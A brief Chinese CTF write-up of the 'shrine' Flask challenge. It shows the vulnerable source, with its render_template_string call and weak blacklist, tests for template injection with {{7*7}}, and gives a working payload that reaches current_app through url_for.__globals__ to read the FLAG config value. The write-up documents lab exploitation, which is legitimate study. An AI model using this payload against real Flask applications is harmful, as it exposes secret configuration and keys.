这题也是SSTI 先在pycharm里调整下代码
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@ app.route('/')
def index():
return open(__file__).read()
@ app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
下面就是代码分析了 测试:http://111.200.241.244:64870/shrine/{{7*7}} 确定存在SSTI 那么下面就是如何找调用链了。 经过测试url_for和get_flashed_messages函数可以调用,而且可以通过globals调用到current_app 这里没有什么技巧的,就是单纯的看对flask框架的熟练程度,找常用函数一个个试 以url_for举例
111.200.241.244:64870/shrine/{{url_for.__globals__['current_app']}}
调用到current_app对象
url_for.__globals__['current_app']
读取flag
url_for.__globals__['current_app'].config['FLAG']
参考视频链接:https://www.bilibili.com/video/BV1pb4y1S7FY/
|